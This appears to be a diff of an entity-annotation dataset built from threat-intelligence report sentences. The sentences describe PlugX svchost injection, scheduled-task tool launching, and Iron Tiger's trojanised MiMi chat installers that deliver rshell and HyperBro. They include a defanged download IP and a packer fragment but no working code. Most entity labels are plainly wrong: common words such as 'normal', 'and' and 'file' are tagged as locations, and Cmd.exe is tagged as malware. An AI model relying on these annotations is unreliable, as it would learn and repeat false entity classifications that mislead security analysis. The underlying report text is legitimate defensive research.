-{"id":8841,"text":"The normal file loads a seemingly normal dynamic-link library (DLL) named after a common Microsoft DLL.","entities":[{"id":27375,"label":"location","start_offset":4,"end_offset":10},{"id":27376,"label":"location","start_offset":34,"end_offset":40},{"id":27377,"label":"location","start_offset":54,"end_offset":61}],"relations":[],"Comments":[]}
-{"id":8842,"text":"However, we saw that the hash of the DLL does not match any of the known hashes of a normal DLL.","entities":[{"id":27379,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":8843,"text":"Reversing the file revealed that it was the PlugX loader, a remote access tool (RAT) that has been historically used in attacks targeting government-related industries and organizations.","entities":[{"id":27380,"label":"malware","start_offset":44,"end_offset":49},{"id":27381,"label":"location","start_offset":60,"end_offset":66},{"id":27382,"label":"location","start_offset":74,"end_offset":78},{"id":27383,"label":"location","start_offset":168,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":8844,"text":"We then observed that it decrypts, loads, and executes another DLL file named after another Microsoft DLL file, but is actually an encrypted Binary Large Object (BLOB).","entities":[{"id":27384,"label":"location","start_offset":42,"end_offset":45},{"id":27386,"label":"location","start_offset":148,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":8845,"text":"Figure 1 below shows the relationship between these three files.","entities":[{"id":27388,"label":"location","start_offset":38,"end_offset":45}],"relations":[],"Comments":[]}
 {"id":8846,"text":"     Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":8847,"text":"The relationship between the normal file used, the PlugX, and the malicious BLOB      Despite being around for quite some time, PlugX is still effective at evading detection.","entities":[{"id":27391,"label":"location","start_offset":17,"end_offset":24},{"id":27392,"label":"location","start_offset":29,"end_offset":35},{"id":27393,"label":"malware","start_offset":51,"end_offset":56},{"id":27394,"label":"location","start_offset":58,"end_offset":61},{"id":27395,"label":"location","start_offset":122,"end_offset":126},{"id":27396,"label":"tools","start_offset":128,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":8848,"text":"The variant used in this attack has three parts:  A normal file A DLL loader that the normal file expects to be present An encrypted BLOB file containing the malicious code  Of the three, the loader would be the easiest to detect.","entities":[{"id":27398,"label":"location","start_offset":52,"end_offset":58},{"id":27399,"label":"location","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8849,"text":"However, because the file is so simple and straightforward, it is easy for attackers to create multiple versions of the said file to evade detection.","entities":[{"id":27401,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":8850,"text":"Detection support for the BLOB is probably low.","entities":[],"relations":[],"Comments":[]}
-{"id":8851,"text":"Because of its being “free form,” detection engines would have a hard time parsing through its contents to find the malicious code which potentially made detection for EPPs and EDR difficult.","entities":[{"id":27402,"label":"location","start_offset":65,"end_offset":69},{"id":27403,"label":"location","start_offset":70,"end_offset":74},{"id":27404,"label":"location","start_offset":149,"end_offset":153},{"id":27405,"label":"location","start_offset":168,"end_offset":172},{"id":27406,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
 {"id":8852,"text":"Aside from this, changing the encryption mechanism or packer would result in a totally different BLOB.","entities":[],"relations":[],"Comments":[]}
 {"id":8853,"text":"It should be noted that we have also observed an increase use of BLOB files since 2020.","entities":[],"relations":[],"Comments":[]}
-{"id":8854,"text":"The malicious code would run in the address space of the normal file.","entities":[{"id":27408,"label":"location","start_offset":57,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":8855,"text":"This could allow the malicious code to evade behavior-monitoring features as endpoint protection platforms (EPP) would see the process as normal.","entities":[{"id":27409,"label":"location","start_offset":86,"end_offset":96},{"id":27410,"label":"location","start_offset":138,"end_offset":144}],"relations":[],"Comments":[]}
-{"id":8856,"text":"This is detailed in the next section.","entities":[{"id":27411,"label":"location","start_offset":29,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":8857,"text":"A closer look at PlugX svchost injection","entities":[{"id":27412,"label":"tools","start_offset":17,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":8858,"text":"This variant of PlugX (detected by Trend Micro as Backdoor.Win32.PLUGX.DYSGUT), including the code in the BLOB, launches an svchost.exe process and injects to it.","entities":[{"id":27413,"label":"malware","start_offset":16,"end_offset":21},{"id":27415,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":8859,"text":"Usually, svchost is launched by services.exe, so the action done by PlugX could be used as a trigger for investigation.","entities":[{"id":27416,"label":"location","start_offset":53,"end_offset":59},{"id":27417,"label":"malware","start_offset":68,"end_offset":73}],"relations":[],"Comments":[]}
 {"id":8860,"text":"Svchost injection is not new — in fact, Trickbot and other malware variants use this technique.","entities":[{"id":27418,"label":"tools","start_offset":40,"end_offset":48},{"id":27419,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":8861,"text":"The difference between Trickbot and PlugX is that Trickbot is much easier to detect.","entities":[{"id":27420,"label":"location","start_offset":15,"end_offset":22},{"id":27422,"label":"location","start_offset":32,"end_offset":35},{"id":27423,"label":"malware","start_offset":36,"end_offset":41},{"id":27425,"label":"location","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":8862,"text":"Trickbot’s binary, which is not whitelisted, does the injection; in PlugX’s case, a normal process that is possibly whitelisted, does the injection.","entities":[{"id":27427,"label":"malware","start_offset":68,"end_offset":73},{"id":27428,"label":"location","start_offset":76,"end_offset":80},{"id":27429,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":8863,"text":"It is possible for EPP behavior-monitoring features to allow the action of the whitelisted process to go through.","entities":[{"id":27430,"label":"location","start_offset":65,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":8864,"text":"This gives the attacker access to a RAT running inside a normal process.","entities":[{"id":27431,"label":"location","start_offset":57,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":8865,"text":"A unique way of launching tools","entities":[{"id":27432,"label":"location","start_offset":9,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":8866,"text":"Our investigation shows that the attacker used other tools during the attack.","entities":[],"relations":[],"Comments":[]}
 {"id":8867,"text":"The tools used varied from network scanners to account harvesters.","entities":[],"relations":[],"Comments":[]}
-{"id":8868,"text":"The simplest way of using these tools is to have the injected code in svchost download, drop, and execute the tools.","entities":[{"id":27433,"label":"location","start_offset":13,"end_offset":16},{"id":27434,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":8869,"text":"      Figure 2.","entities":[],"relations":[],"Comments":[]}
-{"id":8870,"text":"A straightforward approach to launching a malicious tool     The approach above","entities":[{"id":27436,"label":"location","start_offset":52,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":8871,"text":", although simple, could potentially generate a lot of suspicious telemetry events –  svchost.exe suddenly launching an unknown application could trigger alerts.","entities":[{"id":27437,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":8872,"text":"To avoid this, the attacker chose a different approach.","entities":[],"relations":[],"Comments":[]}
 {"id":8873,"text":"For every tool that needs to be run, it creates three things:   The auxiliary tool file <filename>.bat file Cmd.exe with a schtasks.exe command to create a scheduled task to run the batch file above  Instead of directly launching the auxiliary tool, it makes use of a scheduled task that runs the batch file that, in turn, executes the tool.","entities":[{"id":27438,"label":"location","start_offset":10,"end_offset":14},{"id":27439,"label":"location","start_offset":78,"end_offset":82},{"id":27440,"label":"malware","start_offset":108,"end_offset":115},{"id":27441,"label":"malware","start_offset":123,"end_offset":135},{"id":27442,"label":"attack-pattern","start_offset":156,"end_offset":170},{"id":27443,"label":"location","start_offset":244,"end_offset":248},{"id":27444,"label":"attack-pattern","start_offset":268,"end_offset":282},{"id":27445,"label":"location","start_offset":336,"end_offset":340}],"relations":[],"Comments":[]}
 {"id":8874,"text":"The attacker’s usage of a tool can be divided into two separate events: the dropping of the tool by the svchost.exe process that runs the malicious code and the execution of the tool via the scheduled task.","entities":[{"id":27446,"label":"location","start_offset":26,"end_offset":30},{"id":27447,"label":"location","start_offset":31,"end_offset":34},{"id":27448,"label":"location","start_offset":92,"end_offset":96},{"id":27449,"label":"location","start_offset":153,"end_offset":156},{"id":27450,"label":"location","start_offset":178,"end_offset":182},{"id":27451,"label":"attack-pattern","start_offset":191,"end_offset":205}],"relations":[],"Comments":[]}
-{"id":8875,"text":"      Figure 3. A diagram showing the dropping of the auxiliary tool     ","entities":[{"id":27453,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":8876,"text":"If the creation of the tool, batch file, and scheduled task is disregarded, it would seem that there is no connection between PlugX and the execution of the auxiliary tool.","entities":[{"id":27454,"label":"location","start_offset":23,"end_offset":27},{"id":27455,"label":"location","start_offset":41,"end_offset":44},{"id":27456,"label":"attack-pattern","start_offset":45,"end_offset":59},{"id":27457,"label":"location","start_offset":118,"end_offset":125},{"id":27458,"label":"malware","start_offset":126,"end_offset":131},{"id":27459,"label":"location","start_offset":132,"end_offset":135},{"id":27460,"label":"location","start_offset":167,"end_offset":171}],"relations":[],"Comments":[]}
 {"id":8877,"text":"However, a deeper investigation proved otherwise.","entities":[],"relations":[],"Comments":[]}
 {"id":8878,"text":"      Figure 4.","entities":[],"relations":[],"Comments":[]}
 {"id":8879,"text":"Launching the auxiliary tool via the scheduled task     Scheduled tasks are usually associated with persistence or privilege escalation, which is not the case in this incident.","entities":[{"id":27462,"label":"location","start_offset":24,"end_offset":28},{"id":27463,"label":"attack-pattern","start_offset":37,"end_offset":51},{"id":27464,"label":"location","start_offset":72,"end_offset":75},{"id":27465,"label":"attack-pattern","start_offset":115,"end_offset":135},{"id":27466,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]}
 {"id":8880,"text":"Having the scheduled task run only once removes the notion of persistence.","entities":[{"id":27467,"label":"attack-pattern","start_offset":11,"end_offset":25},{"id":27468,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":8881,"text":"Meanwhile, having the same user account launch the PlugX process and the auxiliary tool shows that the scheduled task is not for privilege escalation.","entities":[{"id":27469,"label":"location","start_offset":22,"end_offset":26},{"id":27470,"label":"malware","start_offset":51,"end_offset":56},{"id":27471,"label":"location","start_offset":65,"end_offset":68},{"id":27472,"label":"location","start_offset":83,"end_offset":87},{"id":27473,"label":"attack-pattern","start_offset":103,"end_offset":117},{"id":27474,"label":"attack-pattern","start_offset":129,"end_offset":149}],"relations":[],"Comments":[]}
-{"id":8882,"text":"One possible reason why the attacker chose this technique is to make analysis and forensics, such as via EDR, more difficult.","entities":[{"id":27476,"label":"location","start_offset":78,"end_offset":81}],"relations":[],"Comments":[]}
-{"id":8883,"text":"The disjoint between the dropping and the execution of the auxiliary tool might cause problems in EDR's rendering of RCA graphs, specifically in providing important information about the attack.","entities":[{"id":27477,"label":"location","start_offset":13,"end_offset":20},{"id":27478,"label":"location","start_offset":34,"end_offset":37},{"id":27479,"label":"location","start_offset":69,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":8884,"text":"Security analysts will have to rely on telemetry data to provide a more complete picture of said attack.","entities":[{"id":27480,"label":"location","start_offset":0,"end_offset":8},{"id":27481,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":8885,"text":"In this incident, the attacker used a specific tool to gather information kept by the organization.","entities":[{"id":27482,"label":"location","start_offset":47,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":8886,"text":"However, the attacker was able to delete it before we were able to get our hands on the tools used for investigation purposes.","entities":[],"relations":[],"Comments":[]}
 {"id":8887,"text":"An analysis of these tools could be used to better understand what is happening or what has happened in the environment.","entities":[],"relations":[],"Comments":[]}
 {"id":8888,"text":"Whenever a tool is used, the attacker deletes it from the disk as soon as it has done its purpose – which usually does not last for more than 15 minutes.","entities":[{"id":27483,"label":"location","start_offset":11,"end_offset":15},{"id":27484,"label":"TIME","start_offset":132,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":8889,"text":"This means that acquiring the tools used would be more difficult.","entities":[{"id":27485,"label":"location","start_offset":5,"end_offset":10}],"relations":[],"Comments":[]}
-{"id":8890,"text":"For the attacker, immediately deleting the tool once it performs its intended purpose means being able to extend its shelf life.","entities":[{"id":27486,"label":"location","start_offset":43,"end_offset":47},{"id":27487,"label":"location","start_offset":86,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":8891,"text":"What enterprises and organizations should look out for In incidents like this, wherein the attacker makes sure that the tools used are not detected, threat hunting is a good weapon to have for defense.","entities":[{"id":27488,"label":"location","start_offset":17,"end_offset":20},{"id":27489,"label":"location","start_offset":131,"end_offset":134},{"id":27490,"label":"location","start_offset":156,"end_offset":163},{"id":27491,"label":"location","start_offset":169,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":8892,"text":"Sifting through suspicious events and trying to piece them together to understand what has transpired could help identify such attacks.","entities":[{"id":27492,"label":"location","start_offset":34,"end_offset":37},{"id":27493,"label":"location","start_offset":54,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":8893,"text":"Based on our investigation of this specific attack, we provide helpful tips for enterprises and organizations to spot PlugX and lateral movement in their environments.","entities":[{"id":27494,"label":"location","start_offset":92,"end_offset":95},{"id":27495,"label":"malware","start_offset":118,"end_offset":123},{"id":27496,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]}
-{"id":8894,"text":"  How to identify PlugX PlugX’s use of a normal file makes it hard for antivirus (AV) or EPP to detect it.","entities":[{"id":27498,"label":"location","start_offset":41,"end_offset":47},{"id":27499,"label":"location","start_offset":62,"end_offset":66}],"relations":[],"Comments":[]}
 {"id":8895,"text":"Threat hunters can use this to possibly identify other machines that have PlugX installed: Using attributes that could identify the normal file, such as the hash and the digital signer, a sweeping task could be carried out to identify instances of the normal file.","entities":[{"id":27500,"label":"location","start_offset":7,"end_offset":14},{"id":27501,"label":"location","start_offset":15,"end_offset":18},{"id":27502,"label":"tools","start_offset":74,"end_offset":79},{"id":27503,"label":"location","start_offset":132,"end_offset":138},{"id":27504,"label":"location","start_offset":162,"end_offset":165},{"id":27505,"label":"location","start_offset":252,"end_offset":258}],"relations":[],"Comments":[]}
 {"id":8896,"text":"Chances are, the normal file that loads the rest of PlugX uses a file name that is different from what it normally uses or is in a location where it is not usually found.","entities":[{"id":27506,"label":"location","start_offset":8,"end_offset":11},{"id":27507,"label":"location","start_offset":17,"end_offset":23},{"id":27508,"label":"malware","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]}
 {"id":8897,"text":"For example, Microsoft’s outlook.exe is usually found in the Program Files directory.","entities":[],"relations":[],"Comments":[]}
-{"id":8898,"text":"Finding a normal outlook.exe in the Windows directory makes it suspicious.","entities":[{"id":27510,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":8899,"text":"Finding such entries that stand out could help identify how wide the infection is.","entities":[],"relations":[],"Comments":[]}
 {"id":8900,"text":"How to spot lateral movement","entities":[],"relations":[],"Comments":[]}
 {"id":8901,"text":"In this particular attack, we observed that to perform lateral movement, the attacker mapped Windows admin shares and used remotely created scheduled tasks to launch malware.","entities":[{"id":27512,"label":"attack-pattern","start_offset":93,"end_offset":113},{"id":27513,"label":"location","start_offset":114,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":8902,"text":"Both events never or rarely happened in the victim’s environment.","entities":[],"relations":[],"Comments":[]}
 {"id":8903,"text":"The importance of looking into anomalous events","entities":[],"relations":[],"Comments":[]}
 {"id":8904,"text":"When identifying PlugX and lateral movement techniques utilized in attacks, it’s important to be able to determine anomalous events.","entities":[{"id":27514,"label":"malware","start_offset":17,"end_offset":22},{"id":27515,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]}
-{"id":8905,"text":"It was relatively easy for us to flag the events related to the breach because they were anomalies; after looking into these anomalies, we were able to map them out to known techniques that attackers previously used.","entities":[{"id":27516,"label":"location","start_offset":33,"end_offset":37},{"id":27517,"label":"location","start_offset":156,"end_offset":160}],"relations":[],"Comments":[]}
 {"id":8906,"text":"Keeping an eye on anomalous events could help detect incidents earlier.","entities":[{"id":27518,"label":"malware","start_offset":11,"end_offset":14}],"relations":[],"Comments":[]}
-{"id":8907,"text":"In order to have effective visibility and correlation at all times, enterprises need to have an integrated view of all of their interconnected security solutions.","entities":[{"id":27519,"label":"location","start_offset":38,"end_offset":41},{"id":27520,"label":"location","start_offset":107,"end_offset":111},{"id":27521,"label":"location","start_offset":143,"end_offset":151}],"relations":[],"Comments":[]}
-{"id":8908,"text":"Automated protection and efficient threat hunting, investigation, and response, such as that provided by Trend Micro XDR, will help ensure that enterprises are secured from advanced threats.","entities":[{"id":27522,"label":"location","start_offset":10,"end_offset":20},{"id":27523,"label":"location","start_offset":21,"end_offset":24},{"id":27524,"label":"location","start_offset":42,"end_offset":49},{"id":27525,"label":"location","start_offset":66,"end_offset":69},{"id":27527,"label":"location","start_offset":122,"end_offset":126},{"id":27528,"label":"location","start_offset":156,"end_offset":159}],"relations":[],"Comments":[]}
 {"id":8909,"text":"Trend Micro Solutions Trend Micro’s comprehensive XDR solution applies the most effective expert analytics to the deep data sets collected from Trend Micro solutions across the enterprise — including email, endpoints, servers, cloud workloads, and networks — making faster connections to identify and stop attacks.","entities":[{"id":27530,"label":"location","start_offset":75,"end_offset":79},{"id":27532,"label":"location","start_offset":177,"end_offset":187},{"id":27533,"label":"location","start_offset":227,"end_offset":232},{"id":27534,"label":"location","start_offset":244,"end_offset":247},{"id":27535,"label":"location","start_offset":297,"end_offset":300},{"id":27536,"label":"malware","start_offset":301,"end_offset":305}],"relations":[],"Comments":[]}
-{"id":8910,"text":"Powerful artificial intelligence (AI) and expert security analytics correlate data from customer environments and Trend Micro’s global threat intelligence to deliver fewer, higher-fidelity alerts, leading to better, early detection.","entities":[{"id":27537,"label":"location","start_offset":38,"end_offset":41},{"id":27538,"label":"location","start_offset":49,"end_offset":57},{"id":27539,"label":"location","start_offset":110,"end_offset":113},{"id":27541,"label":"location","start_offset":180,"end_offset":188},{"id":27542,"label":"location","start_offset":216,"end_offset":221}],"relations":[],"Comments":[]}
 {"id":8911,"text":"One console with one source of prioritized, optimized alerts supported with guided investigation simplifies the steps needed to fully understand the attack path and impact on the organization.","entities":[{"id":27545,"label":"attack-pattern","start_offset":21,"end_offset":27},{"id":27546,"label":"location","start_offset":161,"end_offset":164},{"id":27547,"label":"location","start_offset":165,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":8912,"text":"    Tags  Articles, News, Reports | APT & Targeted Attacks | Research","entities":[{"id":27548,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":8913,"text":"We noticed a server hosting both a HyperBro sample and a malicious Mach-O executable named “rshell.”","entities":[{"id":27550,"label":"location","start_offset":44,"end_offset":50},{"id":27551,"label":"location","start_offset":51,"end_offset":54},{"id":27552,"label":"location","start_offset":67,"end_offset":71}],"relations":[],"Comments":[]}
-{"id":8914,"text":"HyperBro is a malware family used by Iron Tiger (also known as Emissary Panda, APT27, Bronze Union, and Luckymouse), an advanced persistent threat (APT) group that has been performing cyberespionage for almost a decade, and there have been no reports of this group associated with a tool for Mac operating systems (OS).","entities":[{"id":27553,"label":"malware","start_offset":0,"end_offset":8},{"id":27554,"label":"threat-actor","start_offset":37,"end_offset":47},{"id":27555,"label":"threat-actor","start_offset":63,"end_offset":77},{"id":27556,"label":"APT","start_offset":79,"end_offset":84},{"id":27557,"label":"threat-actor","start_offset":86,"end_offset":98},{"id":27558,"label":"location","start_offset":100,"end_offset":103},{"id":27559,"label":"threat-actor","start_offset":104,"end_offset":114},{"id":27560,"label":"location","start_offset":148,"end_offset":151},{"id":27562,"label":"location","start_offset":220,"end_offset":223},{"id":27563,"label":"location","start_offset":283,"end_offset":287}],"relations":[],"Comments":[]}
-{"id":8915,"text":"We analyzed the Mach-O sample and found it to be a new malware family targeting the Mac OS platform.","entities":[{"id":27564,"label":"location","start_offset":16,"end_offset":20},{"id":27565,"label":"location","start_offset":23,"end_offset":29},{"id":27566,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]}
-{"id":8916,"text":"We also eventually found samples compiled for the Linux platform that belongs to the same malware family.","entities":[{"id":27567,"label":"location","start_offset":85,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":8917,"text":"We noticed that a chat application named MiMi retrieved the rshell executable, an app we came across recently while investigating threat actor Earth Berberoka.","entities":[{"id":27568,"label":"location","start_offset":18,"end_offset":22}],"relations":[],"Comments":[]}
-{"id":8918,"text":"We noticed Iron Tiger controlling the servers hosting the app installers of MiMi, suggesting a supply chain attack.","entities":[{"id":27573,"label":"location","start_offset":95,"end_offset":101}],"relations":[],"Comments":[]}
+{"id":8914,"text":"HyperBro is a malware family used by Iron Tiger (also known as Emissary Panda, APT27, Bronze Union, and Luckymouse), an advanced persistent threat (APT) group that has been performing cyberespionage for almost a decade, and there have been no reports of this group associated with a tool for Mac operating systems (OS).","entities":[{"id":27553,"label":"malware","start_offset":0,"end_offset":8},{"id":27554,"label":"threat-actor","start_offset":37,"end_offset":47},{"id":27555,"label":"threat-actor","start_offset":63,"end_offset":77},{"id":27556,"label":"threat-actor","start_offset":79,"end_offset":84},{"id":27557,"label":"threat-actor","start_offset":86,"end_offset":98},{"id":27558,"label":"location","start_offset":100,"end_offset":103},{"id":27559,"label":"threat-actor","start_offset":104,"end_offset":114},{"id":27560,"label":"location","start_offset":148,"end_offset":151},{"id":27562,"label":"location","start_offset":220,"end_offset":223},{"id":27563,"label":"location","start_offset":283,"end_offset":287}],"relations":[],"Comments":[]}
 {"id":8919,"text":"Further investigation showed that MiMi chat installers have been compromised to download and install HyperBro samples for the Windows platform and rshell samples for the Mac OS platform.","entities":[{"id":27575,"label":"location","start_offset":39,"end_offset":43},{"id":27576,"label":"location","start_offset":89,"end_offset":92},{"id":27577,"label":"malware","start_offset":101,"end_offset":109},{"id":27578,"label":"location","start_offset":143,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":8920,"text":"While this was not the first time the technique was used, this latest development shows Iron Tiger’s interest in compromising victims using the three major platforms: Windows, Linux, and macOS.","entities":[{"id":27580,"label":"location","start_offset":29,"end_offset":33},{"id":27583,"label":"location","start_offset":150,"end_offset":155},{"id":27584,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]}
 {"id":8921,"text":"Infection vector MiMi (mimi = 秘密  = secret in Chinese) is an instant messaging application designed especially for Chinese users, with implementations for major desktop and mobile operating systems: Windows, macOS, Android, and iOS.","entities":[{"id":27585,"label":"tools","start_offset":10,"end_offset":16},{"id":27588,"label":"location","start_offset":155,"end_offset":160},{"id":27589,"label":"location","start_offset":169,"end_offset":172},{"id":27590,"label":"location","start_offset":173,"end_offset":179},{"id":27591,"label":"location","start_offset":224,"end_offset":227}],"relations":[],"Comments":[]}
-{"id":8922,"text":"The desktop versions are developed with the help of ElectronJS framework, which is a cross-platform framework based on Node.js, allowing the developers to create applications with HTML, Javascript (JS), and CSS.","entities":[{"id":27592,"label":"location","start_offset":21,"end_offset":24},{"id":27593,"label":"location","start_offset":85,"end_offset":90},{"id":27594,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":8923,"text":"We already came across an abuse of this application during the Earth Berberoka investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":8924,"text":"However, compared to Earth Berberoka’s routine wherein the threat actor set up a fake website to deliver a malicious chat application, in this instance Iron Tiger compromised the server hosting the legitimate installers for this chat application for a supply chain attack.","entities":[{"id":27597,"label":"location","start_offset":117,"end_offset":121},{"id":27599,"label":"location","start_offset":229,"end_offset":233},{"id":27600,"label":"location","start_offset":252,"end_offset":258}],"relations":[],"Comments":[]}
-{"id":8925,"text":"Contrary to the fake website, the links to the mobile versions of the application for Android and iPhone worked.","entities":[{"id":27601,"label":"location","start_offset":47,"end_offset":53},{"id":27602,"label":"location","start_offset":94,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":8926,"text":"Also, we could not find anything malicious in the latest Windows installer.","entities":[],"relations":[],"Comments":[]}
-{"id":8927,"text":"In June, we were able to download the macOS installer for the 2.3.2 version of MiMi chat and verified it as genuine.","entities":[{"id":27608,"label":"location","start_offset":84,"end_offset":88},{"id":27609,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8928,"text":"After downloading it again later, we found that the installer was replaced with a malicious version retrieving the rshell sample.","entities":[{"id":27610,"label":"location","start_offset":122,"end_offset":128}],"relations":[],"Comments":[]}
-{"id":8929,"text":"This was proof that the attackers had direct access to the installers‘ host server, and that they were monitoring the versions published by the MiMi app developers in order to quickly insert a backdoor.","entities":[{"id":27611,"label":"location","start_offset":71,"end_offset":75},{"id":27612,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":8930,"text":"     Figure 1. Downloaded installer before (left) and after (right) malware embedding       ","entities":[{"id":27615,"label":"location","start_offset":50,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":8931,"text":"In this case, we can see that it took an hour and a half for the attackers to modify the legitimate installer and add malicious code to it.","entities":[{"id":27616,"label":"location","start_offset":8,"end_offset":12},{"id":27617,"label":"location","start_offset":17,"end_offset":20},{"id":27618,"label":"TIME","start_offset":38,"end_offset":56},{"id":27619,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":8932,"text":"For older versions, it took the attackers one day to inject its modifications.","entities":[],"relations":[],"Comments":[]}
-{"id":8933,"text":"The modification occurs in the electron-main.js file, which contains a block of code beginning with “eval(function(p,a,c,k,e,d)”, suggesting we are dealing with Dean Edwards packer.       Figure 2. Malicious Javascript code inserted into 2.3.2.dmg targeting macOS      Figure 3. Deobfuscated malicious Javascript code","entities":[{"id":27621,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
 {"id":8934,"text":"Once deobfuscated, we saw that the inserted code downloads rshell from the IP address 139[.]180[.]216[.]65 and executes it once run on the macOS platform.","entities":[{"id":27625,"label":"IPV4","start_offset":86,"end_offset":106},{"id":27626,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
-{"id":8935,"text":"The delivered rshell malware is a new family we will discuss in a later section.","entities":[{"id":27627,"label":"location","start_offset":48,"end_offset":52},{"id":27628,"label":"location","start_offset":72,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":8936,"text":"After looking at previous versions of this installer, we found that the first compromised version was 2.3.0, built on May 26, 2022, while the previous version (2.2.10, published on May 6, 2022) was clean.","entities":[],"relations":[],"Comments":[]}
-{"id":8937,"text":"This led is to our first assumption that Iron Tiger had access to the Mimi chat developer's backend between the two dates in May.","entities":[{"id":27633,"label":"location","start_offset":25,"end_offset":35},{"id":27635,"label":"location","start_offset":75,"end_offset":79},{"id":27636,"label":"location","start_offset":100,"end_offset":107}],"relations":[],"Comments":[]}
-{"id":8938,"text":"However, a further look at our telemetry revealed older installers that have been compromised, this time aimed at Windows OS.","entities":[{"id":27639,"label":"location","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]}
-{"id":8939,"text":"Version 2.2.0 and 2.2.1 (both built on November 23, 2021), had similar additions to the electron-main.js file.","entities":[{"id":27640,"label":"location","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":8940,"text":"      Figure 4. Malicious Javascript code inserted into 2.2.0.exe targeting Windows OS      Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":8941,"text":"Deobfuscated malicious JavaScript code from 2.2.0.exe     We saw that one executable, one dynamic link library (DLL), and one binary file were being downloaded into the temporary directory before running the executable.","entities":[{"id":27644,"label":"location","start_offset":70,"end_offset":73},{"id":27645,"label":"location","start_offset":86,"end_offset":89},{"id":27646,"label":"location","start_offset":103,"end_offset":110},{"id":27647,"label":"location","start_offset":118,"end_offset":121},{"id":27648,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":8942,"text":"This is the typical way that this threat actor loads its files, exploiting DLL side-loading vulnerabilities in legitimate and usually signed executables.","entities":[{"id":27649,"label":"location","start_offset":20,"end_offset":23},{"id":27650,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
-{"id":8943,"text":"In this case, the exploited executable belongs to the DESlock+ product, as described last year when we analyzed another Iron Tiger campaign, using malware HyperBro.","entities":[{"id":27651,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]}
 {"id":8944,"text":"Malware analysis rshell","entities":[],"relations":[],"Comments":[]}
-{"id":8945,"text":"The rshell executable is a standard backdoor and implements functions typical of similar backdoors:  Collect OS information and send it to command and control (C&C) server Receive commands from the C&C server to execute Send command execution results back to the C&C  We found multiple samples of this particular backdoor, with some of them in the Mach-O format (macOS platform), while others were in the ELF format (Linux platform).","entities":[{"id":27655,"label":"location","start_offset":27,"end_offset":35},{"id":27656,"label":"location","start_offset":45,"end_offset":48},{"id":27657,"label":"location","start_offset":124,"end_offset":127},{"id":27658,"label":"location","start_offset":147,"end_offset":150},{"id":27659,"label":"location","start_offset":336,"end_offset":340},{"id":27660,"label":"location","start_offset":348,"end_offset":352}],"relations":[],"Comments":[]}
-{"id":8946,"text":"The oldest sample we found was uploaded in June 2021, with the first victim reported in mid-July 2021.","entities":[{"id":27661,"label":"location","start_offset":11,"end_offset":17}],"relations":[],"Comments":[]}
 {"id":8947,"text":"The OS information collection routine gathers the following information:  GUID: (randomly generated guid, stored in \/tmp\/guid) computer name: uname (nodename)","entities":[],"relations":[],"Comments":[]}
